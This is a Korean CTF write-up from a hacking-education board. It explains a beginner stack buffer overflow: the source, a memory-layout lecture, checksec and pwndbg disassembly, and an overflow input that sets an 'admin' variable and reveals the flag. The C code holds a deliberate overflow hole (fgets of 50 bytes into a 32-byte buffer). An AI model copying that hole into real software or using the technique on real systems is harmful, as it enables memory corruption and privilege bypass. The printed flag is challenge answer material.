http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=8592 [복사]
#include <stdio.h>
#include <string.h>
int main(void)
{
char password[32];
int admin = 0;
printf("Enter password: ");
fgets(password,50,stdin);
if(strncmp(password, "SuPeRsEcUrEPaSsWoRd123", strlen("SuPeRsEcUrEPaSsWoRd123")) == 0)
{
printf("Correct Password!\n");
}
else
{
printf("Incorrect Password!\n");
return 0;
}
if(admin)
{
printf("INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}\n");
}else{
printf("Are you sure you are admin? o.O\n");
}
return 0;
}
========================================================
소스를 보니 별로 어렵지 않는 문제라고 판단되었다. (몸풀기 문제라서 그런가?)
checksec로 ctf파일을 보니 스택 카나리도 없었다.
보통 상식적으로 생각해보자면 C코드에서 지역변수가 위에서 아래로 내려올 때
스택 메모리의 높은 주소에서 낮은 주소로 push되면서 쌓이게 된다.
하지만 컴파일러에 따라 지역변수의 위에서 아래로 내려올 때
반드시 스택 메모리의 높은 주소에서 낮은 주소로 할당된다는 보장은
어디에도 없단 걸 명심해야 된다.
[ 커널 영역 ] 높은 주소
[ 스택 영역 ]
[ 공유 라이브러리 ]
[ 힙 영역 ]
[ 데이터 영역 ]
[ 텍스트 영역 ] 낮은 주소
메모리 공간은(RAM) 크게 코드(Code), 데이터(Data), 스택(Stack), 힙(Heap) 영역으로 나뉜다.
코드(Code) 영역: 실행할 프로그램의 코드
데이터(Data) 영역: 전역 변수, 정적 변수
힙(Heap) 영역: 런타임 시 크기가 결정됨(사용자의 동적 할당)
스택(Stack) 영역: 컴파일 타임에 크기가 결정됨
코드(Code) 영역 (혹은 텍스트 영역)
작성한 소스코드가 저장되는 영역으로 텍스트 영역이라고도 부른다.
기계어 형태(0,1)로 저장한다.
실행 파일을 구성하는 명령어들이 올라가는 메모리 영역으로 함수, 제어문, 상수 등이 여기에 지정된다.
CPU는 코드 영역에 저장된 명령어들을 하나씩 가져가서 실행한다.
데이터(Data) 영역
전역 변수와 정적 변수(static)가 할당되는 영역이다.
메인 함수 전에 선언되어 프로그램의 시작과 동시에 할당되고 프로그램이 종료돼야 메모리가 소멸된다.
힙(Heap) 영역
이 공간에 메모리 할당하는 것을 동적 할당(Dynamic Memory Allocation) 이라고 부른다.
사용자에 의해 메모리 공간이 동적으로 할당되고 해제된다.
응용 프로그램이 종료될 때까지 메모리가 유지되기 때문에 사용하고 난 후 반드시 매모리 해제를 해줘야 한다.(memory leak 발생), Java에서는 가비지 컬렉터가 자동으로 해제한다
영역 중 유일하게 런타임시 크기가 결정
참조형(Reference Type) 데이터 타입을 갖는 객체(인스턴스), 배열 등이 저장되는 공간,
단 힙 영역에 있는 오브젝트들을 가리키는 레퍼런스 변수는 스택에 적재
메모리의 낮은 주소부터 할당되는 선입선출(FIFO) 구조
스택(Stack) 영역
프로그램이 자동으로 사용하는 임시 메모리 영역
함수 호출 시 생성되는 지역 변수와 매개 변수가 저장되는 영역
함수 호출이 완료되면 저장된 메모리도 해제된다
메모리의 높은 주소부터 할당되는 후입선출(LIFO) 구조
스택은 높은 주소에서 낮은 주소로 할당되고
힙은 낮은 주소에서 높은 주소로 할당된다.
그리고 그 사이엔 공유 라이브러리 영역이 존재한다.
근본적으로 왜 그럴까?
스택보다 높은 주소가 커널 영역이다.
하지만 스택이 높은 주소에서 낮은 주소로 할당되면
커널 영역에 침범해지 않는다는 것이다.
또한 힙과 스택은 마주보고 서로를 향해 자라면서도
그 사이에 공유 라이브러리 영역이 있어서
서로 침범하기 힘들겠금 아키텍처가 설계되어 있다.
서론은 여기까지 하고...
일단 문제 파일은 checksec에 의해 확인한 결과
스택 카나리가 발견되지 않았다.
ka0r1@ka0r1-To-Be-Filled-By-O-E-M:~$ checksec --file=ctf
[*] '/home/ka0r1/ctf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
문제를 pwndbg로 분석해보겠다.
pwndbg> set disassembly intel
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000000011a9 <+0>: endbr64
0x00000000000011ad <+4>: push rbp
0x00000000000011ae <+5>: mov rbp,rsp
0x00000000000011b1 <+8>: sub rsp,0x30
0x00000000000011b5 <+12>: mov DWORD PTR [rbp-0x4],0x0
0x00000000000011bc <+19>: lea rax,[rip+0xe45] # 0x2008
0x00000000000011c3 <+26>: mov rdi,rax
0x00000000000011c6 <+29>: mov eax,0x0
0x00000000000011cb <+34>: call 0x10a0 <printf@plt>
0x00000000000011d0 <+39>: mov rdx,QWORD PTR [rip+0x2e39] # 0x4010 <stdin@GLIBC_2.2.5>
0x00000000000011d7 <+46>: lea rax,[rbp-0x30]
0x00000000000011db <+50>: mov esi,0x32
0x00000000000011e0 <+55>: mov rdi,rax
0x00000000000011e3 <+58>: call 0x10b0 <fgets@plt>
0x00000000000011e8 <+63>: lea rax,[rbp-0x30]
0x00000000000011ec <+67>: mov edx,0x16
0x00000000000011f1 <+72>: lea rcx,[rip+0xe21] # 0x2019
0x00000000000011f8 <+79>: mov rsi,rcx
0x00000000000011fb <+82>: mov rdi,rax
0x00000000000011fe <+85>: call 0x1080 <strncmp@plt>
0x0000000000001203 <+90>: test eax,eax
0x0000000000001205 <+92>: jne 0x121e <main+117>
0x0000000000001207 <+94>: lea rax,[rip+0xe22] # 0x2030
0x000000000000120e <+101>: mov rdi,rax
0x0000000000001211 <+104>: call 0x1090 <puts@plt>
0x0000000000001216 <+109>: cmp DWORD PTR [rbp-0x4],0x0
0x000000000000121a <+113>: je 0x1245 <main+156>
0x000000000000121c <+115>: jmp 0x1234 <main+139>
0x000000000000121e <+117>: lea rax,[rip+0xe1d] # 0x2042
0x0000000000001225 <+124>: mov rdi,rax
0x0000000000001228 <+127>: call 0x1090 <puts@plt>
0x000000000000122d <+132>: mov eax,0x0
0x0000000000001232 <+137>: jmp 0x1259 <main+176>
0x0000000000001234 <+139>: lea rax,[rip+0xe1d] # 0x2058
0x000000000000123b <+146>: mov rdi,rax
0x000000000000123e <+149>: call 0x1090 <puts@plt>
0x0000000000001243 <+154>: jmp 0x1254 <main+171>
0x0000000000001245 <+156>: lea rax,[rip+0xe44] # 0x2090
0x000000000000124c <+163>: mov rdi,rax
0x000000000000124f <+166>: call 0x1090 <puts@plt>
0x0000000000001254 <+171>: mov eax,0x0
0x0000000000001259 <+176>: leave
0x000000000000125a <+177>: ret
여기서 password[32]가 admin을 덮어씌워질 수 있다는 어셈블리 코드를 분석하면서
어떻게 알 수 있을까? 그건 아래와 같다.
0x00000000000011ae <+5>: mov rbp,rsp
0x00000000000011b1 <+8>: sub rsp,0x30 ; 스택 공간 0x30만큼 할당
0x00000000000011b5 <+12>: mov DWORD PTR [rbp-0x4],0x0 ; admin 초기화
0x00000000000011d7 <+46>: lea rax,[rbp-0x30] ; password 버퍼 시작 위치
$./ctf
Enter password: SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Correct Password!
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}
- 끝 - |
Hit : 546 Date : 2024/12/29 01:18
|